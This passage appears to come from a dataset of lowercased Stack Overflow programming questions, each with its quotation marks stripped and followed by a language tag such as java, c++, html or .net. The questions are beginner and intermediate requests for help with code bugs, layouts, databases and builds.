jpanel();         displaypanel = new jpanel();          buttonpanel.add(increment);         buttonpanel.add(decrement);         displaypanel.add(label);          setlayout(new borderlayout());         add(buttonpanel  borderlayout.center);         add(displaypanel  borderlayout.north);     }      private class inclistener implements actionlistener {         public void actionperformed(actionevent event) {             num++;             label.settext(   + num);         }     }      private class declistener implements actionlistener {         public void actionperformed (actionevent event) {             num--;             label.settext(   + num);         }     }      public static void main(string[] args) {         assignment_4 win = new assignment_4();         win.setdefaultcloseoperation(jframe.exit_on_close);         win.pack();         win.setvisible(true);     } } </code></pre>   i appreciate any help you can offer.,java
what is wrong with this code (basic c++ code)  i m learning c++ programming language. i have made a file which contains a class and shows an output  hello world  to users like this:   <pre><code>    #include &lt;iostream&gt; #include &lt;string&gt;  using std::cout; using std::endl;  class print() {     public:         print(string name)         {             setname(name);         }         void setname(string name)         {             output = name;         }         string getname()         {             return output;         }     private:         string output; };  int main() {     print print1( hello );     print print2( world );      cout &lt;&lt;  output1 is   &lt;&lt; print1.getname() &lt;&lt;  output2 is   &lt;&lt; print2.getname() &lt;&lt; endl;     return 0; }﻿ </code></pre>   it looks fine but i get this error message:    <strong>||=== build file:  no target  in  no project  (compiler: unknown) ===|</strong>    so what does this mean  is there any mistake in the code,c++
not understanding the error message i m getting  i doing a freind function program according to this book i have and i did a little of my own code to the program. i puzzle because i get this error message that the  room_num  is undeclared and intellisense identifier  room_num  is undefine. i need help in understanding why this is happen and how to fix it. here is the code i have been working on for the passed three weeks.    <pre><code> #include  stdafx.h   #include &lt;iostream&gt;  #include &lt;iomanip&gt;    using namespace std;   class hotelroom { friend int transfer( hotelroom&amp;  int);  private: int room_num;  int transroom_num; int room_cap; int occup_stat; double daily_rt;   public: hotelroom(int room  int roomcap  int occup   int transroom  double rate = 89.00); ~hotelroom(); int display_number();  //displays room number and add the method display_guest() int get_capacity(); int get_status(); double get_rate(); int change_status(int); double change_rate(double); void display_guest(); };   hotelroom::~hotelroom() { cout &lt;&lt; endl&lt;&lt;endl; cout &lt;&lt;  guest in room  &lt;&lt;room_num &lt;&lt;   has checked out.  &lt;&lt;endl; }   int hotelroom::display_number() { return room_num; }   int hotelroom::get_capacity() { return room_cap; }   int hotelroom::get_status() {  return occup_stat; }        int hotelroom::change_status(int occup) { occup_stat = occup;  if (occup &gt; room_cap) {     return -1; } else  return occup_stat;     }     double hotelroom::get_rate()   { return daily_rt;   }     double hotelroom::change_rate(double rate)   { daily_rt = rate;     return daily_rt;   }     int transfer(hotelroom&amp; room_r1  int transroom)    { //if guest transfers to different hotel room  room is vacant and transroom is now        occupied room_r1.room_num = room_r1.transroom_num;    return room_num;    }      int main()  { cout&lt;&lt; setprecision(2)     &lt;&lt;setiosflags(ios::fixed)     &lt;&lt;setiosflags(ios::showpoint);     int room = 0;     int roomcap = 4;    int transroom;    int occup;    double rate = 89.00;      cout&lt;&lt; \nenter the room number:  &lt;&lt;endl;    cin&gt;&gt;room;     cout&lt;&lt; \nenter the amount of guest to occupy this room:  &lt;&lt;endl;    cin&gt;&gt;occup;      cout&lt;&lt; \nthe guest has decided to transfer rooms &lt;&lt;endl;    cout&lt;&lt; \nenter the room to transfer the guest to &lt;&lt;endl;    cin&gt;&gt;transroom;     hotelroom room1(room roomcap  occup  transroom  rate ); //initialize the object     if (room1.change_status(occup) == -1)    { cout&lt;&lt; you have exceeded the room capacity &lt;&lt;endl;    }    else    {      cout &lt;&lt; \nthe room number is  ;     room1.display_number();     cout&lt;&lt; . &lt;&lt;endl;     cout&lt;&lt; \nthe name of the primary guest is  ;     room1.display_guest();     cout &lt;&lt; . &lt;&lt;endl;     cout&lt;&lt; \nthe number of guest in the room is  &lt;&lt;room1.change_status(occup)&lt;&lt; .     &lt;&lt;endl;    cout&lt;&lt; \nthe daily rate for room  &lt;&lt;room&lt;&lt;   is  &lt;&lt;room1.get_rate()&lt;&lt; . &lt;&lt;endl&lt;&lt;endl;       cout&lt;&lt; \nyou have tranferred the guest from room &lt;&lt;room1.display_number()&lt;&lt; to      &lt;&lt;transfer(room1 transroom)&lt;&lt;endl;     }       cout&lt;&lt; \nroom  ;      room1.display_number();      cout&lt;&lt;  is vacant. &lt;&lt;endl;       system( pause );   return 0;     } </code></pre>,c++
why firefox does not break the date   please help break the date line on components.    <a href= https://jsfiddle.net/xwvrtlt1/2/  rel= nofollow >https://jsfiddle.net/xwvrtlt1/2/</a>     in chrome this worked(console display date without problem). but in ff is it not worked(console display errors)    js:   <pre><code>var checkneedzero = function(num) {      if(num &lt; 10) { num =  0  + num; };     return num; };                var dateraw =  2016-03-14 17:37:12 ;  var date = new date(dateraw)      monthnum = checkneedzero(date.getmonth())      day = checkneedzero(date.getdate())      year = date.getfullyear()      hours = checkneedzero(date.gethours())      minutes = checkneedzero(date.getminutes());  console.log(date);  var vv = new date(dateraw); console.log(vv); console.log( --- );  </code></pre>,javascript
how to show html tag in emailer  i have to show html tag as it is in emailer. i used    <pre><code>&lt;tr&gt;     &lt;td style= display:inline-block; font-size:13px; line-height:18px; font-family:monospace; padding:10px 16px; overflow-wrap: break-word; word-break:break-all &gt;&lt;pre&gt;&lt;xmp&gt; &lt;a&gt;sfdsd&lt;/a&gt; &lt;div&gt;sdfsdaf&lt;/div&gt;&lt;h1&gt;&lt;/xmp&gt;&lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt; </code></pre>   but it s working in browser will not working in email client.    please share your thoughts.,html
deployment of one .net page from a test to live server  i have been using .net for a couple of years. whenever i publish a web site (to a test server or live server on our network) i always tick  allow this precompiled site to be updateable  and  use fixed naming and single page assemblies .    looking at the files produced on the test server after publishing - i can see  for example  a page called customerdetails.aspx and  in the bin folder  a file called app_web_customerdetails.aspx.abcde7c2.dll    the files on the live server have exactly the same names.    i normally publish the whole site but i have a situation now with a hard to find bug that means i want to just update one page on the live server. after publishing a bug fix to the test server that seems to work  can i simply copy that page and its dll from the test server to the live server  will that single page simply work on the live server or does it have to published with the context of the whole site     sorry to ask such a daft question  but i find the documentation on this on microsoft s site not very clear.,asp.net
xcode 4.4.1  ios 5.1: xcode cannot run using the selected device  need to to test my app on iphone 4 ios 5.1.1. the provisioning profiles are ok. i get     cannot run using the selected device. no provisioned ios devices are available with a compatible ios version. connect an ios device with a recent enough version or...,ios
elegant ie6 hover css solution  i want a solution for tag:hover that is not working on ie6. my guess is it has to be done with javascript.    i found this patch: csshover3.htc (<a href= http://www.xs4all.nl/~peterned/csshover.html  rel= nofollow noreferrer >http://www.xs4all.nl/~peterned/csshover.html</a>)  i checked it s demo! and i didn t work on my ie6 browser!    there has to be an elegant way to solve this very big and basic problem  may be a jquery plugin.    any lead is appriciated,css
repair microsoft common targets file  since i  somehow  accidently edited the <code>microsoft.common.targets</code> file because it was somehow opened in an existing vs project...    in path <code>c:\windows\microsoft.net\framework\v4.0.30319</code>    i can not build any new vs 2010 project anymore because all the default .net assemblies under the references show a yellow triangle warning that the assemblies are missing.    it doesnt matter wether this is a winforms or console project.    the odd thing is even for a new .net 3.5 project the build fails.    how can i repair this broken file,.net
width=100% in div isnt t making it responsive  hey so i was working on making my subscribers area responsive. have created a div container for the whole area. but setting width=100% isn t making the area responsive.    <pre><code>&lt;meta name= viewport  content= width=device-width  initial-scale=1.0 &gt;  &lt;div style=  width:100%; height:auto; border-radius:4px; background-color:#36424d; margin-top:0px; margin-bottom:0px; padding-top:40px; padding-bottom:40px; padding-left:40px; padding-right:40px; &gt;     &lt;h2 style= color:#ffffff; &gt;&lt;b&gt;&lt;center&gt;get actionable influencer marketing advice. delivered weekly.&lt;/center&gt;&lt;/b&gt;&lt;/h2&gt;     &lt;h3 style= color:#ffffff &gt;&lt;center&gt;join 6308 good looking people who get our latest content first.&lt;/center&gt;&lt;/h3&gt;        &lt;br/&gt;     &lt;div style=  background-color:#dee5e5; border-radius:3px; padding-left:10px; padding-right:10px &gt;     &lt;input type= email  name= email  placeholder= your business/personal email address  required /&gt;     &lt;/div&gt;        &lt;div style= text-align: center; &gt;     &lt;input type= submit  value= subscribe  /&gt;     &lt;/div&gt; &lt;/div&gt;  </code></pre>,html
android call outsider class from service  i m trying to call outsider class from service but encounter error like  null pointer exception . here is simple code for that.    <strong>here is outsider class.</strong>   <pre><code>public class synctask {     private context context;      public synctask(context context  string agrs) {         this.context = context;     }             protected string processsycn(string agrs) {              return agrs +   -  call successful. ;     }     } </code></pre>   <strong>here is service class.</strong>   <pre><code>public class syncservice extends service{        public synctask syncme;     public string i;      @override     public ibinder onbind(intent arg0) {         // todo auto-generated method stub         return null;     }      @override     public void onstart(intent intent  int startid) {         // todo auto-generated method stub         super.onstart(intent  startid);                         i = syncme.processsycn(3 +   );                                          this.stopself();     }           @override     public void ondestroy() {         // todo auto-generated method stub         super.ondestroy();     }     } </code></pre>,android
animating a div to 100% height  i am trying to animate a div to 100% of its content but it just flashes and rather than animate the div the background disappears at the end of the animation. i am stumped because it works when i enter a number for the height rather than a percentage.   <pre><code>$( #artbutton ).click(function(event){     event.preventdefault();     var $self=$(this);     $( #media ).animate({height:0}  slow );     $( #music ).animate({height:0}  slow  function(){         document.location = $self.attr( href );         $( #art ).animate({height: 100% }  slow );     }); }); </code></pre>,jquery
how to make a for loop var with a string that increments in js <pre><code>something like: for(var i= string 1 ; i&lt;10; i++){ i= string 2  i= string 3  } </code></pre>   and so on. is it possible  because i m trying to store different things into the local storage using a for loop and i want each thing to start with a different key other than all being number indexes for easier extraction,javascript
how do i set the selected value in an asp.net drop down list   i m using an asp.net dropdown. i want to set the selected element using an id (<code>id</code>) which is stored in the <code>datavalue</code> field.   <pre><code>ddltest.datavaluefield =  id ;     ddltest.datatextfield =  name ; ddltest.datasource = searchresultlist; ddltest.databind(); </code></pre>   but all i can see is the <code>selectedindex</code> property which isn t the correct thing. how do i set by value,asp.net
keep leading zeros only while reversing a number in java  i am doing my assignment question which is to  reverse a number keep the leading zeros and remove the trailing zeros also keep the sign as it is .    if i reverse it taking  as a integer  it will remove leading as well as trailing zeros and if i reverse it taking  as a string  it will keep all the zeros. can anyone help me only keeping the leading zeros.    for example  -00360  should be  -6300 .    problem-    write a java function to accept a number and return the reverse of the same. if the number ends with one or more zeros  then in the reversed number those zeros will not be present (since those zeros become leading zeros). if the input number is negative  the sign should be retained. ##examples  input:   -123  output:   -321  input:   1123400  output:   43211,java
why we are using `<div></div>` tag so many times compare to other elements   for example:   <pre><code>&lt;div style= color:#0000ff &gt;   &lt;h3&gt;this is a heading&lt;/h3&gt;   &lt;p&gt;this is a paragraph.&lt;/p&gt; &lt;/div&gt; </code></pre>   why like this  and i need to know proper reason.,html
how to use usb web camera in .net compact framework   how to use usb web camera in .net compact framework (on windows ce based os),.net
adding an insertion sort  to sort by balances. also creating a loop for a check digit  so as of right now  i have multiple accounts made. with account numbers and balances. i want to add an insertion sort  to sort the balances in descending order.       so in short  i need some help sorting by account balance - here s the code   <pre><code>class program {     public class account     {         public string accountname { get; set; }         public int accountid { get; set; }         public double accountbal { get; set; }         public override string tostring()         {             return  id:   + accountid +     name:   + accountname +   \tbalance:    + string.format( {0:c}   accountbal);         }         static void main(string[] args)         {             list&lt;string&gt; actnames = new list&lt;string&gt;             {  bill   laura   john   joe   chris   pete   sally   jessica   paul   lynsey };             random rnd = new random();             int i  tmp  idx;             int n = actnames.count;             double total = 0;             double actbal = 0;             double avg = 0;             list&lt;account&gt; customer = new list&lt;account&gt;();             for (i = 0; i &lt; n; i++)             {                 idx = rnd.next(0  actnames.count);                 account act = new account();                 act.accountname = actnames[idx]; // account name                 actnames.removeat(idx);                 tmp = rnd.next(10000  99999);                 tmp += tmp * 100 + (tmp / 100000) + (tmp % 100000) / 1000 + tmp;                 act.accountid = tmp; // account id #                 customer.add(act);                 actbal = rnd.next(100  6000);                 act.accountbal = actbal; // account balance                 total += actbal; // sum the account balances in the loop             }             foreach (account aid in customer)             {                 console.writeline(aid);             }              console.writeline();             avg = total / 10; // avg outside the loop             console.writeline( \nthe average account balance is: {0:c}   avg);             console.readline();           }     } } </code></pre>   },c#
comparison of two character pointers  i am trying to compare two const char* code is given below.   <pre><code>void compare(const char *name){              const char *name1;               if(!strcmp(*name *name1){                   printf( true );              } } </code></pre>   error is : invalid conversion from  char  to  const char *  i need help.,c
how to make a call from my application  without quitting my application in iphone   i know how to make a call directly from my application programmatically in iphone  but before invoking the call   my application is terminating  which is not expected to  my application has to resume back  once the call is quit. how to do this for iphone programmatically      thank you.,iphone
update single row item in listview android  i am developing android chat application like whatsapp/hangout.    what i am doing is  once message is sent to server  the status for message is  sent . and when i receive acknowledgement for that message  i want to change the status for that message to  delivered .    how to do that       code before sending to server   <pre><code>chatmessagemodel chatmessagemodel = new chatmessagemodel();                             chatmessagemodel.setid(nextid);                             chatmessagemodel.set_id(null);                             chatmessagemodel.setgroupid(groupid);                             chatmessagemodel.setmessage(message);                             chatmessagemodel.setsenderuserid(user.getuserid());                             chatmessagemodel.setsenderdisplayname(  );                             chatmessagemodel.setdatesent(null);                             chatmessagemodel.setmessagetype( message );                             chatmessagemodel.setstatus( sent );                             chatmessageservice.saveindmessage(chatmessagemodel);                             mchatmessagecustomadapter.add(chatmessagemodel);                             mchatmessagecustomadapter.notifydatasetchanged(); </code></pre>   after receiving ack from server  code is   <pre><code>chatmessagemodel.set_id(msg.getstring( _id ));                         chatmessagemodel.setgroupid(msg.getstring( groupid ));                         chatmessagemodel.setmessage(msg.getstring( message ));                         chatmessagemodel.setsenderuserid(msg.getstring( senderuserid ));                         chatmessagemodel.setsenderdisplayname(msg.getstring( senderdisplayname )); </code></pre>   chatmessagemodel.setstatus( delivered );    ****here how do i update status to  delivered ***,android
question about nsmutablearray  pointers and release  how exactly does the addobject method of nsmutablearray work  does it create a new instance and add it into the array or does it simply add a reference to the same object into the array     if the answer is it only insert a reference to the object  then it leads to my next question:    let s say i have the following method in one of my class ( list  is a nsmutablearray)  gladly  this code works the way i wanted  but i just don t seem to fully understand why:   <pre><code>-(void)buyitem:(item *)anitem {     item * newitem = [[item alloc]init];     newitem.name = anitem.name;     newitem.details = anitem.details;     [list addobject:newitem];     [newitem release]; } </code></pre>   so basically after calling [list addobject:newitem]  there would now be total of two reference pointing to the same object right(newitem  and another one in the  list  array)     but why does releasing the newitem object here  doesn t wipe out the one in the  list  nsmutablearray  aren t they pointing to the same object,objective-c
how do these emoji enablers manage to remain undetected while using writetofile outside sandbox   is there hidden api that enables emoji     is there a hidden api that allows writing outside our app s sandbox secretly without detection     how ! this is really baffling!,iphone
mysql foreign key failure with varchar variables  i have issues with a pair of parent-child tables in mysql 5.6.10. django app is also involved downstream  as well as .tab data files originating from sas.     the parent table (ccs1) defines 18 high-level medical codes that i m labeling idx  and which uses a varchar(2) field for numbers 1 to 18. the child defines 138 sub-codes  which provide another level of medical detail for the parent-level codes: 1.1  1.2  2.1  2.2  2.3  etc.  also labeled idx within it s own table. within the child i create an additional <code>varchar(2)</code> variable named ccs1_id that is the first number in the child s idx code  and am attempting to set it as a foreign key reference to the equivalent idx variable in the parent table. (this is using industry standard ccs tables for those who are curious - and there are 4 levels in total  such as 4.4.5.1  otherwise i wouldn t be keeping with the varchar representation).    data insertion with foreign_key_checks = 0 fails upon reading in the child table. when i turn off key checks the data appears to read in properly (when viewed within the mysql workbench gui). when i attempt to use the data in a django application and filter child table values via the parent foreign key reference it only successfully filters for the high-level codes that are <em>2</em> digit (character): 10. 18. filtering off of parent-level keys 1 to 9 fails.     both tables are constructed with the related variables as varchar(2) - i ve included the show create table output for each further below.     my best clue so far is from the latest foreign key error off of the show engine logs for when i try to load parent child tables  foreign_key_checks = 1. parent loads successfully  then child fails with:   <pre><code>transaction 1022234  active 0 sec inserting  thread declared inside innodb 5000 mysql tables in use 1  locked 1 4 lock struct(s)  heap size 320  1 row lock(s)  undo log entries 1 mysql thread id 177  os thread handle 0x2280  query id 12426 localhost 127.0.0.1 root         system lock load data local infile  /abc/dim_dx_ccs2.tab  into table dim_dx_ccs2 ignore 1 lines (idx  idxm  label  ccs1_id) foreign key constraint fails for table `phrat`.`dim_dx_ccs2`:   constraint `ccs1_id_refs_idx_1213764e` foreign key (`ccs1_id`) references `dim_dx_ccs1`    (`idx`) trying to add in child table  in index `ccs1_id_refs_idx_1213764e` tuple: data tuple: 2 fields; 0: len 2; hex 310d; asc 1 ;; 1: len 4; hex 80000103; asc     ;;  but in parent table `phrat`.`dim_dx_ccs1`  in index `idx`  the closest match we can find is record: physical record: n_fields 2; compact format; info bits 0 0: len 1; hex 31; asc 1;; 1: len 4; hex 80000052; asc    r;; </code></pre>   in this case it should be searching for a value of  1  in the parent table. looking at last 9 lines  it looks like mysql s varchar data type is treating the parent table s idx value as having a length of 1 after trimming and comparing it to a value with a length of 2 prior to trimming  that said  the given hex values of 310d(decimal:12557) and 31(decimal:49) don t make any sense given the data i m reading in  which should only be between 1 and 18. the hex values for the 1: fields look appropriate  those would be the primary keys (id) for each table  the very first entry (which would be  1  or  1   for the foreign key value).    am i missing something more fundamental here  or is this the root of the problem  and if so how might i resolve it  i suppose i could switch to set-length char values and that might resolve  but i want to make sure i understand what s going on here.     for reference here is the show create table output   <pre><code>-------------------------------------------------------------------------------------+  dim_dx_ccs1 | create table `dim_dx_ccs1` (  `id` int(11) not null auto_increment   `idx` varchar(2) collate utf8_unicode_ci not null   `idxm` varchar(2) collate utf8_unicode_ci not null   `label` varchar(64) collate utf8_unicode_ci not null   primary key (`id`)   unique key `idx` (`idx`)   unique key `idxm` (`idxm`)  engine=innodb auto_increment=65 default charset=utf8 collate=utf8_unicode_ci | -------------+--------------------------------------------------------------------------------------    dim_dx_ccs2 | create table `dim_dx_ccs2` (  `id` int(11) not null auto_increment   `idx` varchar(5) collate utf8_unicode_ci not null   `idxm` varchar(5) collate utf8_unicode_ci not null   `label` varchar(128) collate utf8_unicode_ci not null   `ccs1_id` varchar(2) collate utf8_unicode_ci not null   primary key (`id`)   unique key `idx` (`idx`)   unique key `idxm` (`idxm`)   key `ccs1_id_refs_idx_1213764e` (`ccs1_id`)   constraint `ccs1_id_refs_idx_1213764e` foreign key (`ccs1_id`) references `dim_dx_ccs1` (`idx`)  engine=innodb auto_increment=259 default charset=utf8 collate=utf8_unicode_ci | -------------+---------------------------------------------------------------------------------------- </code></pre>   additional details:   <ul> <li>the data tables originate from a unix server (where sas resides) but are then exported as .tab files to a windows environment. </li> </ul>,mysql
.net float to double conversion  can anyone explain why the third output below prints out a value that is 128 from expected value     i ran the following code with target framework = .net framework 4    code:   <pre><code>    static void main(string[] args)     {         float f = 3510000000f;         double d = 3510000000d;          console.writeline( f = {0:f1}   f);         console.writeline( d = {0:f1}   d);         console.writeline( f converted to a double = {0:f1}               convert.todouble(f));         console.writeline( f converted to a double using strings = {0:f1}               convert.todouble(f.tostring()));     } </code></pre>,.net
datagrid cell s numeric validation in c#  i want to validate a separate cells in datagrid. if i want only numbers in a particular cell in the datagrid how can i do it.    for example :    im using datagrid view. there the datagrid with 3 columns. id name phone number i want to validate this phone number field. if user enter a some other values than a number i want to give a error message.    this may be a easy task as im very new to c# please someone help me with this problem.    thank you all,c#
month class: overzealous refactoring  [.net]  would creating a month class be practical or is that a bit overzealous  i was thinking of using it to restrict integer input to 1-12 and provide helper functions for easy conversions between strings and ints and stuff. using .net btw,.net
modifying a variable passed by reference vs returning it from a function  following the advice from a <a href= http://c-faq.com/aryptr/dynmuldimary.html  rel= nofollow >c faq on instantiating a matrix using a double pointer</a>  i stumbled on another problem. i managed to resolve the issue  but have difficulty understanding why it works one way but not another.    i have the following code which works  and then i will show you the bit that doesn t work  and i hope you can explain why:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int height = 20; int width = 20;  int ** curr_grid;  /**  * generate an array with the given height and length  */ int ** create_grid() {     int ** grid;     grid = malloc(sizeof(int *) * height);     int row;     for (row = 0; row &lt; height; row++)          grid[row] = malloc(sizeof(int) * width);     return grid; }  /* entry point main */ int main(int argc  char** argv) {     curr_grid = create_grid();     curr_grid[0][0] = 0;     free(curr_grid); // release heap resources     return 0; } </code></pre>   allocating the memory for the grid and returning the pointer this way works. however  i first tried another way  which i was convinced should also work  but it doesn t:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  int height = 20; int width = 20;  int ** curr_grid;  /**  * generate an array with the given height and length  */  create_grid(int ** grid) {     grid = malloc(sizeof(int *) * height);     int row;     for (row = 0; row &lt; height; row++)          grid[row] = malloc(sizeof(int) * width); }  /* entry point main */ int main(int argc  char** argv) {     create_grid(curr_grid);     curr_grid[0][0] = 0; // segmentation fault     free(curr_grid); // release heap resources     return 0; } </code></pre>   doing it this way terminates with a segmentation fault on the line indicated. however  i was under the impression that passing a variable by reference allows you to modify it.    why didn t this work,c
sql query with order by part 2  this is a followup question to: <a href= https://stackoverflow.com/questions/4633947/sql-query-with-order-by >sql query with order by</a>    but i think the sql logic is going to be quite different  so i am posting it as separate question.    i am trying to extend my sql <code>select</code> query it and having some trouble:    i have the table:   <pre><code>id    type      radius ------------------------- 1     type1     0.25 2     type2     0.59 3     type1     0.26 4     type1     0.78 5     type3     0.12 6     type2     0.45 7     type3     0.22 8     type3     0.98 </code></pre>   and i am trying to learn how to <code>select</code> the <strong>second smallest radius for each given type</strong>. so the returned recordset should look like:   <pre><code>id    type      radius ------------------------- 3     type1     0.26 2     type2     0.59 7     type3     0.22 </code></pre>   (note: in the referenced question  i was looking for the lowest radius  not the <strong>second</strong> lowest radius).    i am assuming i have to use <code>limit</code> and <code>offset</code>  but if i use the <code>min()</code> won t that return a distinct record containing the minimum radius     does anyone have any thoughts on how to attack this     many thanks  brett,sql
javascript validating a text area to find a ssn  i am trying to create a quick validation of a text area notes field to see if it potentially contains a ssn number which i will then throw an alert for.    i have tried a few different regex patters i have found online and none of them seem to be working. i am wondering if its my javascript that isn t correct     i believe if it were to find a match  it would be true thus throw the <code>ssn found</code> alert.    anyone point out my mistake    <pre><code>$(document).ready(function() {   $( [name= submit ] ).click(function() {     validate();   }) })  // validate our note field function validate() {    var isvalid = true      notes = $( [name=notes] ).val()      ssn = new regexp( ^( !219-09-9999|078-05-1120)( !666|000|9\d{2})\d{3}-( !00)\d{2}-( !0{4})\d{4}$ );      console.log(notes)    if (ssn.test(notes)) {     alert( ssn found );   }else{     alert( no ssn found );   }  } </code></pre>   js fiddle: <a href= https://jsfiddle.net/sgrw4rqf/2/  rel= nofollow noreferrer >https://jsfiddle.net/sgrw4rqf/2/</a>,javascript
why snapchat logo won t show on my footer   i build my first website and i put it on a free host and domain (bookhouse.bookhouse.ml). the footer is ok on the local server (xamp)  but when is on the online server the snapchat logo won t display. i can t understand why     <pre><code>&lt;div class= center_footer &gt;     &lt;a href= https://www.snapchat.com/  target= _blank &gt;&lt;img class= logo_footer  src= snapchat.png &gt;&lt;/a&gt;     &lt;a href= https://www.facebook.com/  target= _blank  &gt;&lt;img class= logo_footer  src= fb.png &gt;&lt;/a&gt;     &lt;a href= https://www.instagram.com/  target= _blank &gt;&lt;img class= logo_footer  src= instagram.png &gt;&lt;/a&gt;                    &lt;a href= https://twitter.com/  target= _blank &gt;&lt;img class= logo_footer  src= twitter.png &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>,html
asp.net: how to deploy app_data to webhost   i have uploaded my website to my webhost and it works great except the form authorication. when i try to login at get this error:    <em>a network-related or instance-specific error occurred while establishing a connection to sql server. the server was not found or was not accessible. verify that the instance name is correct and that sql server is configured to allow remote connections. (provider: sql network interfaces  error: 26 - error locating server/instance specified)</em>    when i deploy the website i publish it from visual studio to a local folder and then upload it to the webhost via a ftp client program. the problem here is that the app_data folder is empty when i publish the website to my local folder. could this be the problem,asp.net
how can i make my html anchor tag link to a random html file in the same folder as it  i want the user to be directed to a random .html page inside the same folder when they click a button.  so if index.html  1.html and 2.html are all in the same folder and the user clicks the button on index.html it will randomly choose either of the other 2 pages.  thanks.,html
c programming simple issue .asking two inputs on same line  hello i am beginner in programmin. i have simple issue. when i take user input. i was asked enter your age:  then after entering age i was asked(problem is here: why it s executing two linesc)  enter c for city and v for village:  enter  h  for healthy and  p  for poor health:      and cursor comes after   health:    it should ask for  enter c for city and v for village:   first. i have tried alot. please help me    <pre><code>int main(){ int age; char sex; char location; char health;  printf( enter your age:  ); scanf( %d  &amp;age); printf( enter c for city and v for village:  ); scanf( %c   &amp;location); printf( enter  h  for healthy and  p  for poor health:  ); scanf( %c   &amp;health); printf( enter  m  for male and  f  for female:  ); scanf( %c   &amp;sex);   if(age&gt;=25 &amp;&amp; age&lt;=35){    printf( hello ahmed  ); }     else{          printf( sorry you cannot be insured  ); }   getch(); return 0;  } </code></pre>,c
greying out only background image and not elements within : css  i have a background image for the wrapper div of a page. i want the image to be 0.5 opaque. my problem is that all other items inside the div also become 0.5 opaque. how can this be avoided    <pre><code>#detailswrapper {        background-size:cover;      background-repeat: no-repeat;      opacity:0.5;     } </code></pre>,css
swipe-able views ios  i am looking for a framework where you can add n number of views to some sort of view controller  set the order of the views and they will be able to be navigated through using a swipe to the left or right.    does something like this exist for ios 4 and 5,ios
line counter in c  i am reading a book called c programming language 2nd edition. there it teaches a program called character counting. but according to the output it does not.it just takes the character and does nothing. this is the first version:   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  main() {     int c  nl;      nl = 0;     while ((c = getchar()) != eof)         if (c ==  /n )             ++nl;     printf( %d\n   nl); } </code></pre>   so when i type my sentence and press <code>ctrl+z</code> to satisfy eof it gives me zero:   <pre><code>i am a good person ctrl+z 0  press any key to return </code></pre>   it is supposed to count lines and being a beginner i could not understand.,c
interop.cdo.dll  if user is in administrative group then interop.cdo.dll is sending mail. but if user is not in administrative group then it is not sending mail.can any one help me how can i provide permission for interop.cdo.dll for user having non administrative group.    i am using vs 2003.    thanks,.net
html able to change text size but not color  i have a simple table of hyperlinks:   <pre><code>&lt;ul id= toc &gt; &lt;font size= 6  color= red &gt; &lt;a href= http://www.afakesitename.com/page1.html &gt;page 1&lt;/a&gt; &lt;a href= http://www.afakesitename.com/page2.html &gt;page 2&lt;/a&gt; &lt;a href= http://www.afakesitename.com/page3.html &gt;page 3&lt;/a&gt; &lt;/font&gt; &lt;/ul&gt; </code></pre>   i am able to change the font size of the table entries (e.g.  page 1 ) by altering the  size   however the color remains blue regardless of the value for  color .    what is the error in my code or my approach,html
my code to convert from byte array to long doesn t work  i have written code in java  to convert from byte array to long  code is here:     <pre><code>public static long btol(byte[] b_arr) {         long res = 0;         for (int i = 0; i &lt; b_arr.length; i++) {             res += ((b_arr[i] &amp; 0xffffffffffffffffl) &lt;&lt; ((b_arr.length - 1 - i) * 8));         }         return res;     } </code></pre>   i get different number when i run this code  but i can t understand what is problem,java
list of elements <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/760753/iterate-over-a-python-sequence-in-multiples-of-n >iterate over a python sequence in multiples of n </a>    </blockquote>     how to list elements like: [ abcd    efghi ]      using the next:   <pre><code>test = map(chr  range(97  123)) for i in test: if len(el) == 2:     break while len(i) != 4:     i = i + i el.append(i) </code></pre>   it shows: [ aaaa    bbbb ] and it s correct in this case,python
case statement in having clause in sql  can i have a case statement in a <code>having</code> clause in sql server 2005     below is my <code>having</code> statement. it is giving me a syntax error.   <pre><code>@clientpk_new is null or      (         client.oh_pk = @clientpk_new and          case when @relatedorgs &lt;&gt;  11  then client.oh_pk= @clientpk_new         else client.oh_pk in (             select dbo.orgheader.oh_pk from dbo.orgheader with (nolock) inner join             dbo.orgrelatedparty with (nolock) on dbo.orgheader.oh_pk = dbo.orgrelatedparty.pr_oh_parent inner join             dbo.orgheader as orgheader_1 with (nolock) on dbo.orgrelatedparty.pr_oh_relatedparty = orgheader_1.oh_pk             where orgheader_1.oh_pk = @clientpk_new         )          end      ) } and (@cgneepk is null or cgnee.oh_pk = @cgneepk) and     part.op_rh_nkcommoditycode = @type  </code></pre>   thanks     amit,sql
concept of web.config file in asp.net  could you please tell me how we will use more than 1 web.config file in asp.net,asp.net
how can i get a filestorage object from string  i have this string:   <pre><code>str =  fieldstorage( myfile    file.exe    hello\\n )  </code></pre>   so i would like to know if there is a way to get the filestogare object from that string,python
controller doesn t see function  this is my services.js   <pre><code>(function () {    var app = angular.module( crmservice   []);  app.factory( timeline   [ $http   function ($http) {         var _addtimelineevent = function (clientid  eventdata) {             callback = callback || function () {};              return $http({                 method:  post                   url:  /simple_crm/web/api.php/client/  + clientid +  /timeline                   data: eventdata             });         };          return {             addtimelineevent: _addtimelineevent         };     }]); })(); </code></pre>   and this is my controller:   <pre><code>app.config([ $routeprovider    $locationprovider   function ($routeprovider  $locationprovider) {      $routeprovider             .when( /clients   {                 controller:  clientslistctrl                   templateurl:  views/clients-list.html              })             .when( /clients/:clientid   {                 controller:  clientdetailctrl                   templateurl:  views/client-details.html              })             .otherwise({                 redirectto:  /clients              });      $locationprovider.html5mode(true).hashprefix(  ); }]); </code></pre>    <pre><code>app.controller( clientdetailctrl   [ $scope    clients    users    sectors    $routeparams    $timeout    timeline       function ($scope  clients  users  sectors  $routeparams  $timeout  timeline) {          $scope.client = {};         $scope.timeline = [];          $scope.timelineevent = {};         $scope.eventtypes = timeline.geteventstype();          $scope.saveclientdata = function () {             if ($scope.clientform.$invalid)                 return;              clients.updateclient($scope.client.id  $scope.client)                     .then(                             function () {                                 //messeges to user                             }                              function (error) {                                 console.log(error);                             }                     );         };          $scope.addevent = function () {              if ($scope.eventform.$invalid)                 return;              timeline.addtimelineevent($scope.client.id  $scope.timelineevent)                     .then(                             function () {                                 //messeges to user                              }                              function (error){                                 console.log(error);                             });          };      }]); })(); </code></pre>   and i get an error:   <blockquote>    typeerror timeline.addtimelineevent is not a function  </blockquote>   i am not able to understand why the function 